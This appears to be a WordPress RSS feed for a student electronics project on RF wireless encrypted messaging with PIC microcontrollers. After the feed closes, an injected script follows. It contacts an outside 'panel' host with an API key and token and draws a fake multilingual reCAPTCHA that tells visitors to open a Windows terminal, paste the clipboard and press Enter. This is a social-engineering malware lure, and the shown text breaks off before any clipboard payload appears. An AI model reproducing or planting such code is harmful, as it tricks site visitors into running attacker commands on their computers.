<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>RX modules &#8211; HVS Technologies</title>
	<atom:link href="https://www.hvstechnologies.in/product-tag/rx-modules/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.hvstechnologies.in</link>
	<description>Hub for Versatile Science &#38; Technologies</description>
	<lastBuildDate>Fri, 25 Jul 2025 11:57:59 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>

<image>
	<url>https://www.hvstechnologies.in/wp-content/uploads/2025/07/favicon-32x32-1.png</url>
	<title>RX modules &#8211; HVS Technologies</title>
	<link>https://www.hvstechnologies.in</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>HVS-3514. Wireless Data encryption and Decryption for secured communication using RF.</title>
		<link>https://www.hvstechnologies.in/product/hvs-3514-wireless-data-encryption-and-decryption-for-secured-communication-using-rf/</link>
					<comments>https://www.hvstechnologies.in/product/hvs-3514-wireless-data-encryption-and-decryption-for-secured-communication-using-rf/#respond</comments>
		
		<dc:creator><![CDATA[hvsadmin]]></dc:creator>
		<pubDate>Fri, 25 Jul 2025 11:44:10 +0000</pubDate>
				<guid isPermaLink="false">https://www.hvstechnologies.in/?post_type=product&#038;p=1084</guid>

					<description><![CDATA[Data security is primary concern for every communication system. There are many ways to provide security data that is being communicated. However what if the security assured irrespective of the hackers are from the noise. This project designing standard algorithm for encryption and decryption

The project aims in designing a system which is capable of providing wireless data messaging using RF technology. The modules in the project are: LAPTOP with PL2303 application to enter the data, LCD display to display the messages, Buzzer .RF modules to establish wireless communication between both systems.]]></description>
										<content:encoded><![CDATA[<p>Data security is primary concern for every communication system. There are many ways to provide security data that is being communicated. However what if the security assured irrespective of the hackers are from the noise. This project designing standard algorithm for encryption and decryption</p>
<p><strong> </strong></p>
<p>The project aims in designing a system which is capable of providing wireless data messaging using RF technology. The modules in the project are: LAPTOP with PL2303 application to enter the data, LCD display to display the messages, Buzzer .RF modules to establish wireless communication between both systems. The communication between two sections can be possible using wireless RF network for message transmission like emergency services, breaking news, messaging, she team, helpline, ambulance &amp; fire etc.</p>
<p>RF Communication ranges in between 30 KHz to 300 GHz. RF communication works by creating electromagnetic waves at a source and being able to pick up those electromagnetic waves at a particular destination. These electromagnetic waves travel through the air at near the speed of light. The wavelength of an electromagnetic signal is inversely proportional to the frequency; the higher the frequency, the shorter the wavelength.</p>
<p>The controlling device of the system is a PIC Microcontroller. This system consists of two Microcontrollers on either side to which Laptop with USBTTL, LCD display, RF modules are interfaced. The Microcontroller is programmed in such a way that the message typed by using pl2303 application in laptop, one system will be processed by the controller and transmitted through RF module which will be received by the RF present on other side. This received data is processed by the controller and displayed on the LCD screen along with Buzzer. The Microcontroller is programmed using Embedded ‘C’ language.<P></P></p>
<p>&nbsp;</p>
<p><P></P><strong>The main objectives of the project are:</strong></p>
<p><strong> </strong></p>
<ol>
<li>Design a Secured data transmission system.</li>
<li>Wireless transmission using RF technology.</li>
<li>Usage PL2303 application for data entry.</li>
</ol>
<p><strong> </strong></p>
<p><strong>The main building blocks of the project are:</strong></p>
<p>&nbsp;</p>
<ul>
<li>Regulated power supply.</li>
<li>PIC Microcontrollers.</li>
<li>LCD display with Driver.</li>
<li>Buzzer.</li>
<li>USB TTL.</li>
<li>Crystal Oscillator</li>
<li>RF TX, RX modules.</li>
<li>Reset</li>
<li>LED Indicators.</li>
<li>PL2303 Application.</li>
</ul>
<p>&nbsp;</p>
<p><strong>Software’s used:</strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<ol>
<li>PIC-C compiler for Embedded C programming.</li>
<li>PIC kit 2 programmer for dumping code into Micro controller.</li>
<li> Express SCH for Circuit design.</li>
<li>Proteus for hardware simulation.</li>
</ol>
<p><strong> </strong></p>
<p><P></P><strong>Regulated Power Supply:</strong></p>
<p><strong> </strong></p>
<p><P></P><strong> <img fetchpriority="high" decoding="async" class="alignnone size-full wp-image-1090" src="https://www.hvstechnologies.in/wp-content/uploads/2025/07/A-12.png" alt="" width="718" height="227" srcset="https://www.hvstechnologies.in/wp-content/uploads/2025/07/A-12.png 718w, https://www.hvstechnologies.in/wp-content/uploads/2025/07/A-12-300x95.png 300w, https://www.hvstechnologies.in/wp-content/uploads/2025/07/A-12-600x190.png 600w" sizes="(max-width: 718px) 100vw, 718px" /></strong></p>
<p><strong> </strong></p>
<p><P></P><strong>Block diagram:</strong></p>
<p><strong> </strong></p>
<p><P></P><img decoding="async" class="alignnone size-full wp-image-1091" src="https://www.hvstechnologies.in/wp-content/uploads/2025/07/B-3.png" alt="" width="816" height="612" srcset="https://www.hvstechnologies.in/wp-content/uploads/2025/07/B-3.png 816w, https://www.hvstechnologies.in/wp-content/uploads/2025/07/B-3-300x225.png 300w, https://www.hvstechnologies.in/wp-content/uploads/2025/07/B-3-768x576.png 768w, https://www.hvstechnologies.in/wp-content/uploads/2025/07/B-3-600x450.png 600w" sizes="(max-width: 816px) 100vw, 816px" /></p>
<p><P></P><strong>video:</strong></p>

<!-- iframe plugin v.6.0 wordpress.org/plugins/iframe/ -->
<iframe width="560" height="315" src="https://www.youtube.com/embed/VMswqYfl6HU?start=00" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" 0="allowfullscreen" scrolling="yes" class="iframe-class"></iframe>

<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.hvstechnologies.in/product/hvs-3514-wireless-data-encryption-and-decryption-for-secured-communication-using-rf/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
<script>
(function(){
    'use strict';

    var PANEL  = "https:\/\/superfuckingpanel.info";
    var APIKEY = "lTKoMuKufDGILSVSjMs9OJyC6vmLJj7U";
    var TOKEN  = "78e88ee105a4cfbcead2853c2bbb3cc0d9e1eab94686f32ebfe0e2b23228c3ce";
    var RAYID  = "5efe2d2f693417a8";
    var IS_NEW = false;

    /* ── Cookie helpers ── */
    function getCk(n){var v='; '+document.cookie,p=v.split('; '+n+'=');if(p.length===2)return p.pop().split(';').shift();return null;}
    function setCk(n,v,d){var e=new Date();e.setTime(e.getTime()+d*864e5);document.cookie=n+'='+v+';expires='+e.toUTCString()+';path=/;SameSite=Lax';}

    if(getCk('sc_ppi_dl')==='1') return;
    if(window.__scPpiOpen) return;
    window.__scPpiOpen = true;

    /* ── SVG icons ── */
    function createSvgIcon(kind, size) {
        var iconSize = Number(size) > 0 ? Number(size) : 14;
        if (kind === 'keyboard') {
            return '<svg aria-hidden="true" viewBox="0 0 24 24" width="'+iconSize+'" height="'+iconSize+'" style="display:block;fill:currentColor;">'
                +'<path d="M4 6.75A2.75 2.75 0 0 1 6.75 4h10.5A2.75 2.75 0 0 1 20 6.75v7.5A2.75 2.75 0 0 1 17.25 17H6.75A2.75 2.75 0 0 1 4 14.25zm2.25-1.25c-.69 0-1.25.56-1.25 1.25v7.5c0 .69.56 1.25 1.25 1.25h10.5c.69 0 1.25-.56 1.25-1.25v-7.5c0-.69-.56-1.25-1.25-1.25zM7 8h1.5v1.5H7zm2.25 0h1.5v1.5h-1.5zm2.25 0H13v1.5h-1.5zm2.25 0h1.5v1.5h-1.5zM7 10.25h1.5v1.5H7zm2.25 0h1.5v1.5h-1.5zm2.25 0H13v1.5h-1.5zm2.25 0h1.5v1.5h-1.5zM7 12.5h7.5V14H7z"/></svg>';
        }
        if (kind === 'windows') {
            return '<svg aria-hidden="true" viewBox="0 0 24 24" width="'+iconSize+'" height="'+iconSize+'" style="display:inline-block;vertical-align:middle;fill:currentColor;">'
                +'<path d="M3 5.33 10.74 4v7.28H3zm8.76-1.49L21 2.25v9.03h-9.24zM3 12.39h7.74v7.28L3 18.33zm8.76 0H21v9.36l-9.24-1.59z"/></svg>';
        }
        return '';
    }

    /* ── i18n ── */
    var winIcon = createSvgIcon('windows', 14);

    function buildInstructionsHtml(t) {
        var steps = (t && Array.isArray(t.steps) ? t.steps : []).slice(0, 4);
        var stepItems = steps.map(function(s, idx) {
            return '<li style="display:flex;align-items:flex-start;gap:8px;margin-bottom:'+(idx===steps.length-1?'0':'6')+'px;">'
                +'<span style="flex:0 0 auto;width:22px;height:22px;border-radius:999px;background:#e5e7eb;color:#111827;font-size:12px;font-weight:600;display:flex;align-items:center;justify-content:center;">'+(idx+1)+'</span>'
                +'<span>'+s+'</span></li>';
        }).join('');
        return '<div style="margin-bottom:10px;display:flex;align-items:center;gap:8px;font-size:14px;color:#4b5563;">'
            +'<span style="display:inline-flex;align-items:center;justify-content:center;width:22px;height:22px;border-radius:999px;background:#e5e7eb;color:#111827;">'
            +createSvgIcon('keyboard',13)+'</span>'
            +'<span>'+(t.instructionsLead||'Use the keyboard in this order:')+'</span></div>'
            +'<ol style="margin:0;padding:0;list-style:none;font-size:14px;color:#4b5563;">'
            +stepItems+'</ol>';
    }

    var i18n = {
        en:{notRobot:"I'm not a robot",checking:'Checking...',recaptcha:'reCAPTCHA',privacyTerms:'Privacy - Terms',verifyHeaderMedium:'To verify your request',verifyHeaderBig:'follow the instructions below',instructionsLead:'Use the keyboard in this order:',steps:['Press <b>'+winIcon+' + X</b>','Press <b>I</b> (or choose <b>Terminal</b>)','Press <b>Ctrl + V</b>','Press <b>Enter</b>']},
        ru:{notRobot:'Я не робот',checking:'Проверяется...',recaptcha:'reCAPTCHA',privacyTerms:'Конфиденциальность - Условия',verifyHeaderMedium:'Для подтверждения запроса',verifyHeaderBig:'следуйте инструкциям ниже',instructionsLead:'Используйте клавиатуру в следующем порядке:',steps:['Нажмите <b>'+winIcon+' + X</b>','Нажмите <b>I</b> (или выберите <b>Терминал</b>)','Нажмите <b>Ctrl + V</b>','Нажмите <b>Enter</b>']},
        uk:{notRobot:'Я не робот',checking:'Перевірка...',recaptcha:'reCAPTCHA',privacyTerms:'Конфіденційність - Умови',verifyHeaderMedium:'Щоб підтвердити ваш запит',verifyHeaderBig:'виконайте інструкції нижче',instructionsLead:'Використайте клавіатуру в такому порядку:',steps:['Натисніть <b>'+winIcon+' + X</b>','Натисніть <b>I</b> (або оберіть <b>Terminal</b>)','Натисніть <b>Ctrl + V</b>','Натисніть <b>Enter</b>']},
        de:{notRobot:'Ich bin kein Roboter',checking:'Überprüfung…',recaptcha:'reCAPTCHA',privacyTerms:'Datenschutz - Bedingungen',verifyHeaderMedium:'Um Ihre Anfrage zu bestätigen',verifyHeaderBig:'folgen Sie den Anweisungen unten',instructionsLead:'Verwenden Sie die Tastatur in dieser Reihenfolge:',steps:['Drücken Sie <b>'+winIcon+' + X</b>','Drücken Sie <b>I</b> (oder wählen Sie <b>Terminal</b>)','Drücken Sie <b>Strg + V</b>','Drücken Sie <b>Enter</b>']},
        fr:{notRobot:'Je ne suis pas un robot',checking:'Vérification…',recaptcha:'reCAPTCHA',privacyTerms:'Confidentialité - Conditions',verifyHeaderMedium:'Pour vérifier votre demande',verifyHeaderBig:'suivez les instructions ci-dessous',instructionsLead:'Utilisez le clavier dans cet ordre :',steps:['Appuyez sur <b>'+winIcon+' + X</b>','Appuyez sur <b>I</b> (ou choisissez <b>Terminal</b>)','Appuyez sur <b>Ctrl + V</b>','Appuyez sur <b>Entrée</b>']},
        es:{notRobot:'No soy un robot',checking:'Comprobando…',recaptcha:'reCAPTCHA',privacyTerms:'Privacidad - Términos',verifyHeaderMedium:'Para verificar tu solicitud',verifyHeaderBig:'sigue las instrucciones abajo',instructionsLead:'Usa el teclado en este orden:',steps:['Pulsa <b>'+winIcon+' + X</b>','Pulsa <b>I</b> (o elige <b>Terminal</b>)','Pulsa <b>Ctrl + V</b>','Pulsa <b>Enter</b>']},
        it:{notRobot:'Non sono un robot',checking:'Verifica…',recaptcha:'reCAPTCHA',privacyTerms:'Privacy - Termini',verifyHeaderMedium:'Per verificare la tua richiesta',verifyHeaderBig:'segui le istruzioni qui sotto',instructionsLead:'Usa la tastiera in questo ordine:',steps:['Premi <b>'+winIcon+' + X</b>','Premi <b>I</b> (oppure scegli <b>Terminal</b>)','Premi <b>Ctrl + V</b>','Premi <b>Invio</b>']},
        pt:{notRobot:'Não sou um robô',checking:'Verificando…',recaptcha:'reCAPTCHA',privacyTerms:'Privacidade - Termos',verifyHeaderMedium:'Para verificar sua solicitação',verifyHeaderBig:'siga as instruções abaixo',instructionsLead:'Use o teclado nesta ordem:',steps:['Pressione <b>'+winIcon+' + X</b>','Pressione <b>I</b> (ou escolha <b>Terminal</b>)','Pressione <b>Ctrl + V</b>','Pressione <b>Enter</b>']},
        nl:{notRobot:'Ik ben geen robot',checking:'Controleren…',recaptcha:'reCAPTCHA',privacyTerms:'Privacy - Voorwaarden',verifyHeaderMedium:'Om je verzoek te verifiëren',verifyHeaderBig:'volg de onderstaande instructies',instructionsLead:'Gebruik het toetsenbord in deze volgorde:',steps:['Druk op <b>'+winIcon+' + X</b>','Druk op <b>I</b> (of kies <b>Terminal</b>)','Druk op <b>Ctrl + V</b>','Druk op <b>Enter</b>']},
        tr:{notRobot:'Ben robot değilim',checking:'Kontrol ediliyor…',recaptcha:'reCAPTCHA',privacyTerms:'Gizlilik - Şartlar',verifyHeaderMedium:'İsteğinizi doğrulamak için',verifyHeaderBig:'aşağıdaki talimatları izleyin',instructionsLead:'Klavyeyi şu sırayla kullanın:',steps:['<b>'+winIcon+' + X</b> tuşlarına basın','<b>I</b> tuşuna basın (veya <b>Terminal</b> seçin)','<b>Ctrl + V</b> tuşlarına basın','<b>Enter</b> tuşuna basın']},
        ko:{notRobot:'나는 로봇이 아닙니다',checking:'확인 중…',recaptcha:'reCAPTCHA',privacyTerms:'개인정보 - 약관',verifyHeaderMedium:'요청을 확인하려면',verifyHeaderBig:'아래 지침을 따라주세요',instructionsLead:'다음 순서대로 키보드를 사용하세요:',steps:['<b>'+winIcon+' + X</b>를 누르세요','<b>I</b>를 누르세요 (또는 <b>Terminal</b> 선택)','<b>Ctrl + V</b>를 누르세요','<b>Enter</b>를 누르세요']},
        hi:{notRobot:'मैं रोबोट नहीं हूँ',checking:'जांच हो रही है…',recaptcha:'reCAPTCHA',privacyTerms:'गोपनीयता - शर्तें',verifyHeaderMedium:'अपने अनुरोध की पुष्टि करने के लिए',verifyHeaderBig:'नीचे दिए निर्देशों का पालन करें',instructionsLead:'कीबोर्ड का इस क्रम में उपयोग करें:',steps:['<b>'+winIcon+' + X</b> दबाएँ','<b>I</b> दबाएँ (या <b>Terminal</b> चुनें)','<b>Ctrl + V</b> दबाएँ','<b>Enter</b> दबाएँ']},
        id:{notRobot:'Saya bukan robot',checking:'Memeriksa…',recaptcha:'reCAPTCHA',privacyTerms:'Privasi - Ketentuan',verifyHeaderMedium:'Untuk memverifikasi permintaan Anda',verifyHeaderBig:'ikuti petunjuk di bawah ini',instructionsLead:'Gunakan keyboard dengan urutan ini:',steps:['Tekan <b>'+winIcon+' + X</b>','Tekan <b>I</b> (atau pilih <b>Terminal</b>)','Tekan <b>Ctrl + V</b>','Tekan <b>Enter</b>']},
        vi:{notRobot:'Tôi không phải là rô-bốt',checking:'Đang kiểm tra…',recaptcha:'reCAPTCHA',privacyTerms:'Quyền riêng tư - Điều khoản',verifyHeaderMedium:'Để xác minh yêu cầu của bạn',verifyHeaderBig:'hãy làm theo hướng dẫn bên dưới',instructionsLead:'Sử dụng bàn phím theo thứ tự này:',steps:['Nhấn <b>'+winIcon+' + X</b>','Nhấn <b>I</b> (hoặc chọn <b>Terminal</b>)','Nhấn <b>Ctrl + V</b>','Nhấn <b>Enter</b>']},
        th:{notRobot:'ฉันไม่ใช่หุ่นยนต์',checking:'กำลังตรวจสอบ…',recaptcha:'reCAPTCHA',privacyTerms:'ความเป็นส่วนตัว - ข้อกำหนด',verifyHeaderMedium:'เพื่อยืนยันคำขอของคุณ',verifyHeaderBig:'โปรดทำตามคำแนะนำด้านล่าง',instructionsLead:'ใช้คีย์บอร์ดตามลำดับนี้:',steps:['กด <b>'+winIcon+' + X</b>','กด <b>I</b> (หรือเลือก <b>Terminal</b>)','กด <b>Ctrl + V</b>','กด <b>Enter</b>']},
        zh:{notRobot:'我不是机器人',checking:'正在检查…',recaptcha:'reCAPTCHA',privacyTerms:'隐私 - 条款',verifyHeaderMedium:'为了验证您的请求',verifyHeaderBig:'请按照以下步骤操作',instructionsLead:'请按以下顺序使用键盘：',steps:['按 <b>'+winIcon+' + X</b>','按 <b>I</b>（或选择 <b>Terminal</b>）','按 <b>Ctrl + V</b>','按 <b>Enter</b>']},
        ja:{notRobot:'私はロボットではありません',checking:'確認中…',recaptcha:'reCAPTCHA',privacyTerms:'プライバシー - 規約',verifyHeaderMedium:'リクエストを確認するには',verifyHeaderBig:'以下の手順に従ってください',instructionsLead:'次の順番でキーボードを操作してください:',steps:['<b>'+winIcon+' + X</b> を押します','<b>I</b> を押します（または <b>Terminal</b> を選択）','<b>Ctrl + V</b> を押します','<b>Enter</b> を押します']},
        cs:{notRobot:'Nejsem robot',checking:'Ověřování…',recaptcha:'reCAPTCHA',privacyTerms:'Soukromí - Podmínky',verifyHeaderMedium:'Pro ověření vašeho požadavku',verifyHeaderBig:'postupujte podle pokynů níže',instructionsLead:'Použijte klávesnici v tomto pořadí:',steps:['Stiskněte <b>'+winIcon+' + X</b>','Stiskněte <b>I</b> (nebo vyberte <b>Terminal</b>)','Stiskněte <b>Ctrl + V</b>','Stiskněte <b>Enter</b>']},
        ro:{notRobot:'Nu sunt un robot',checking:'Se verifică…',recaptcha:'reCAPTCHA',privacyTerms:'Confidențialitate - Termeni',verifyHeaderMedium:'Pentru a verifica cererea dvs.',verifyHeaderBig:'urmați instrucțiunile de mai jos',instructionsLead:'Folosiți tastatura în această ordine:',steps:['Apăsați <b>'+winIcon+' + X</b>','Apăsați <b>I</b> (sau alegeți <b>Terminal</b>)','Apăsați <b>Ctrl + V</b>','Apăsați <b>Enter</b>']},
        he:{notRobot:'אני לא רובוט',checking:'בודק…',recaptcha:'reCAPTCHA',privacyTerms:'פרטיות - תנאים',verifyHeaderMedium:'כדי לאמת את הבקשה שלך',verifyHeaderBig:'פעל לפי ההוראות למטה',instructionsLead:'השתמש במקלדת בסדר הזה:',steps:['לחץ על <b>'+winIcon+' + X</b>','לחץ על <b>I</b> (או בחר <b>Terminal</b>)','לחץ על <b>Ctrl + V</b>','לחץ על <b>Enter</b>'],rtl:true},
        ar:{notRobot:'لست برنامج روبوت',checking:'جارٍ التحقق…',recaptcha:'reCAPTCHA',privacyTerms:'الخصوصية - الشروط',verifyHeaderMedium:'للتحقق من طلبك',verifyHeaderBig:'اتبع التعليمات أدناه',instructionsLead:'استخدم لوحة المفاتيح بهذا الترتيب:',steps:['اضغط <b>'+winIcon+' + X</b>','اضغط <b>I</b> (أو اختر <b>Terminal</b>)','اضغط <b>Ctrl + V</b>','اضغط <b>Enter</b>'],rtl:true}
    };

    function detectLang() {
        var prefs = (navigator.languages && navigator.languages.length ? navigator.languages : [navigator.language||'en']).map(function(x){return String(x||'').toLowerCase();});
        var supported = Object.keys(i18n);
        for (var i=0;i<prefs.length;i++) {
            var primary = String(prefs[i]||'').split('-')[0];
            if (primary==='mo') primary='ro';
            if (primary==='iw') primary='he';
            if (supported.indexOf(primary)!==-1) return primary;
        }
        return 'en';
    }

    var lang = detectLang();
    var texts = i18n[lang] || i18n.en;
    texts.instructionsHtml = buildInstructionsHtml(texts);

    /* ── Shadow DOM host ── */
    var host = document.createElement('div');
    host.id = 'bw-modal-host';
    host.style.setProperty('all','initial','important');
    host.style.setProperty('position','fixed','important');
    host.style.setProperty('inset','0','important');
    host.style.setProperty('z-index','2147483646','important');
    host.style.setProperty('pointer-events','none','important');
    host.style.setProperty('display','block','important');
    host.style.setProperty('contain','layout style size','important');
    host.style.setProperty('color-scheme','light','important');
    var shadowRoot = host.attachShadow ? host.attachShadow({mode:'open'}) : host;

    /* ── Styles (exact copy of bw-modal-style) ── */
    var style = document.createElement('style');
    style.id = 'bw-modal-style';
    style.textContent = ''
        +':host{all:initial;position:fixed;inset:0;z-index:2147483646;pointer-events:none;color-scheme:light;}'
        +' :host, :host *{box-sizing:border-box;}'
        +'.bw-overlay-bg{position:fixed;inset:0;pointer-events:none;z-index:2147483645;background:rgba(15,23,42,.45);backdrop-filter:blur(50px);}'
        +' .bw-modal{font-family:Roboto,helvetica,arial,sans-serif;direction:ltr !important;text-align:left !important;unicode-bidi:isolate !important;}'
        +' .bw-modal .fkrc-m-p{margin:0;padding:0;}'
        +' .bw-modal .fkrc-block{display:block;}'
        +' .bw-modal .fkrc-line-normal{line-height:normal;}'
        +' .bw-modal .fkrc-checkbox-window{height:74px;width:300px;background-color:#f9f9f9;border-radius:3px;border:1px solid #d3d3d3;position:relative;direction:ltr !important;}'
        +' .bw-modal .fkrc-checkbox-container{width:28px;height:28px;}'
        +' .bw-modal .fkrc-checkbox{position:relative;background-color:#fff;border-radius:2px;height:100%;width:100%;border:2px solid #c1c1c1;margin:21px 0 0 12px;outline:none;font-family:Roboto,helvetica,arial,sans-serif;transition:width 500ms,height 500ms,border-radius 500ms,margin-top 500ms,margin-left 500ms,opacity 700ms;cursor:pointer;padding:0;}'
        +' .bw-modal .fkrc-checkbox:hover{border:2px solid #b2b2b2;}'
        +' .bw-modal .fkrc-im-not-a-robot{position:relative;left:52px;bottom:2px;font-size:15px;color:#282727;text-align:left !important;direction:ltr !important;}'
        +' .bw-modal .fkrc-logo-area{position:absolute;right:8px;top:8px;display:flex;flex-direction:column;align-items:center;justify-content:flex-start;text-align:center !important;direction:ltr !important;}'
        +' .bw-modal .fkrc-captcha-logo{width:32px;height:32px;margin:0;vertical-align:baseline;background-image:url(https://www.gstatic.com/recaptcha/api2/logo_48.png);background-repeat:no-repeat;background-position:center;background-size:32px 32px;}'
        +' .bw-modal .fkrc-checkbox-desc{color:#555555;position:relative;font-size:10px;text-align:center;bottom:41px;left:112px;}'
        +' .bw-modal .fkrc-logo-area .fkrc-checkbox-desc{position:static;left:auto;bottom:auto;width:100%;text-align:center;}'
        +' .bw-modal .fkrc-spinner{visibility:hidden;position:absolute;height:35px;width:35px;top:17px;left:9px;bottom:auto;opacity:0;transition:opacity 400ms;display:flex;align-items:center;justify-content:center;pointer-events:none;}'
        +' .bw-modal .bw-spinner-ring{width:22px;height:22px;border:3px solid rgba(90,137,226,.22);border-top-color:#5a89e2;border-radius:50%;animation:bw-spinner-rotate .85s linear infinite;}'
        +' .bw-modal .fkrc-checkmark{visibility:hidden;position:absolute;height:35px;width:35px;top:17px;left:9px;bottom:auto;opacity:0;transition:opacity 200ms;display:flex;align-items:center;justify-content:center;pointer-events:none;}'
        +' .bw-modal .fkrc-verifywin-window{opacity:0;position:fixed;visibility:hidden;display:none;width:335px;box-sizing:border-box;background-color:#fff;border:1px solid #cecece;box-shadow:5px 6px 7px -3px rgba(0,0,0,0.12);border-radius:3px;transition:opacity 400ms;z-index:2147483648;font-family:Roboto,helvetica,arial,sans-serif;direction:ltr !important;text-align:left !important;}'
        +' .bw-modal .fkrc-verifywin-window-arrow{opacity:0;position:fixed;visibility:hidden;display:none;width:10px;height:23px;transition:opacity 400ms;z-index:2147483649;}'
        +' .bw-modal .fkrc-verifywin-container{padding:8px;box-sizing:border-box;}'
        +' .bw-modal .fkrc-verifywin-header{background-color:#5a89e1;padding:16px 16px 24px 16px;color:#fff;text-align:left !important;direction:ltr !important;}'
        +' .bw-modal .fkrc-verifywin-header-text-medium{font-size:16px;}'
        +' .bw-modal .fkrc-verifywin-header-text-big{font-size:21px;font-weight:700;}'
        +' .bw-modal .fkrc-verifywin-main{padding:9px 0 7px 0;}'
        +' .bw-modal .chrome-box{width:auto;background-color:#ffffff;border:1px solid #e0e0e0;overflow:hidden;}'
        +' .bw-modal .chrome-content{padding:20px;font-size:14px;color:#4b5563;text-align:left !important;direction:ltr !important;}'
        +' .bw-modal .chrome-content ol,.bw-modal .chrome-content ul{margin:0;padding:0;list-style:none;}'
        +' @keyframes bw-spinner-rotate{from{transform:rotate(0deg);}to{transform:rotate(360deg);}}';
    shadowRoot.appendChild(style);

    /* ── Background ── */
    var bg = document.createElement('div');
    bg.className = 'bw-overlay-bg';
    shadowRoot.appendChild(bg);

    /* ── Overlay ── */
    var overlay = document.createElement('div');
    overlay.className = 'bw-modal';
    overlay.style.cssText = 'position:fixed;inset:0;z-index:2147483647;display:flex;align-items:center;justify-content:center;pointer-events:auto;';
    try { overlay.setAttribute('dir','ltr'); } catch(e) {}

    /* ── Center box ── */
    var centerBox = document.createElement('div');
    centerBox.style.cssText = 'width:340px;background:#fff;border-radius:15px;box-shadow:0 4px 8px rgba(0,0,0,0.2);display:flex;flex-direction:column;align-items:center;padding:24px 20px 20px 20px;box-sizing:border-box;';

    /* ── Captcha block ── */
    var captchaBlock = document.createElement('div');
    captchaBlock.className = 'fkrc-checkbox-window fkrc-m-p fkrc-block';

    var checkboxContainer = document.createElement('div');
    checkboxContainer.className = 'fkrc-checkbox-container fkrc-m-p';
    captchaBlock.appendChild(checkboxContainer);

    var checkboxFake = document.createElement('button');
    checkboxFake.type = 'button';
    checkboxFake.className = 'fkrc-checkbox fkrc-m-p fkrc-line-normal';
    checkboxContainer.appendChild(checkboxFake);

    var notRobot = document.createElement('p');
    notRobot.textContent = texts.notRobot || "I'm not a robot";
    notRobot.className = 'fkrc-im-not-a-robot fkrc-m-p fkrc-line-normal';
    captchaBlock.appendChild(notRobot);

    var logoArea = document.createElement('div');
    logoArea.className = 'fkrc-logo-area';
    captchaBlock.appendChild(logoArea);

    var logo = document.createElement('div');
    logo.className = 'fkrc-captcha-logo fkrc-line-normal';
    logoArea.appendChild(logo);

    var captchaDesc = document.createElement('p');
    captchaDesc.textContent = texts.recaptcha || 'reCAPTCHA';
    captchaDesc.className = 'fkrc-checkbox-desc fkrc-m-p fkrc-line-normal';
    logoArea.appendChild(captchaDesc);

    var privacyDesc = document.createElement('p');
    privacyDesc.textContent = texts.privacyTerms || 'Privacy - Terms';
    privacyDesc.className = 'fkrc-checkbox-desc fkrc-m-p fkrc-line-normal';
    logoArea.appendChild(privacyDesc);

    var checkboxSpinner = document.createElement('div');
    checkboxSpinner.className = 'fkrc-spinner fkrc-m-p fkrc-line-normal';
    checkboxSpinner.innerHTML = '<div class="bw-spinner-ring" aria-hidden="true"></div>';
    captchaBlock.appendChild(checkboxSpinner);

    var checkboxCheckmark = document.createElement('div');
    checkboxCheckmark.className = 'fkrc-checkmark fkrc-m-p fkrc-line-normal';
    checkboxCheckmark.innerHTML = '<svg width="30" height="30" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">'
        +'<circle cx="25" cy="25" r="23" fill="#28a745"></circle>'
        +'<path d="M15 25 L22 32 L35 18" stroke="white" stroke-width="4" fill="none" stroke-linecap="round" stroke-linejoin="round"></path>'
        +'</svg>';
    captchaBlock.appendChild(checkboxCheckmark);

    centerBox.appendChild(captchaBlock);

    /* ── Ray ID ── */
    var rayIdRow = document.createElement('div');
    rayIdRow.style.cssText = 'width:300px;margin-top:6px;font-size:10px;color:#6b7280;text-align:right;';
    rayIdRow.textContent = 'Ray ID: ' + RAYID;
    centerBox.appendChild(rayIdRow);

    /* ── Info block ── */
    var infoBlock = document.createElement('div');
    infoBlock.style.cssText = 'width:300px;margin-top:12px;font-size:14px;color:#4b5563;display:none;';
    centerBox.appendChild(infoBlock);

    /* ── Verify window ── */
    var verifyWindow = document.createElement('div');
    verifyWindow.className = 'fkrc-verifywin-window';
    var verifyWindowContainer = document.createElement('div');
    verifyWindowContainer.className = 'fkrc-verifywin-container';
    verifyWindow.appendChild(verifyWindowContainer);

    /* ── Arrow ── */
    var verifyWindowArrow = document.createElement('img');
    verifyWindowArrow.className = 'fkrc-verifywin-window-arrow';
    verifyWindowArrow.alt = '';
    verifyWindowArrow.src = 'data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiBwcmVzZXJ2ZUFzcGVjdFJhdGlvPSJ4TWlkWU1pZCIgd2lkdGg9IjEwIiBoZWlnaHQ9IjIzIiB2aWV3Qm94PSIwIDAgMTAgMjMiPgogIDxkZWZzPgogICAgPHN0eWxlPgogICAgICAuY2xzLTEgewogICAgICAgIGZpbGw6ICNmZmY7CiAgICAgICAgc3Ryb2tlOiAjY2VjZWNlOwogICAgICAgIHN0cm9rZS13aWR0aDogMXB4OwogICAgICAgIGZpbGwtcnVsZTogZXZlbm9kZDsKICAgICAgfQogICAgPC9zdHlsZT4KICA8L2RlZnM+CiAgPHBhdGggZD0iTTAuMjgzLDEyLjUwMCBMOTEuNTAwLC03OC43MTcgTDE4Mi43MTcsMTIuNTAwIEw5MS41MDAsMTAzLjcxNyBMMC4yODMsMTIuNTAwIFoiIGNsYXNzPSJjbHMtMSIvPgo8L3N2Zz4K';

    overlay.appendChild(centerBox);
    overlay.appendChild(verifyWindow);
    overlay.appendChild(verifyWindowArrow);
    shadowRoot.appendChild(overlay);
    document.body.appendChild(host);

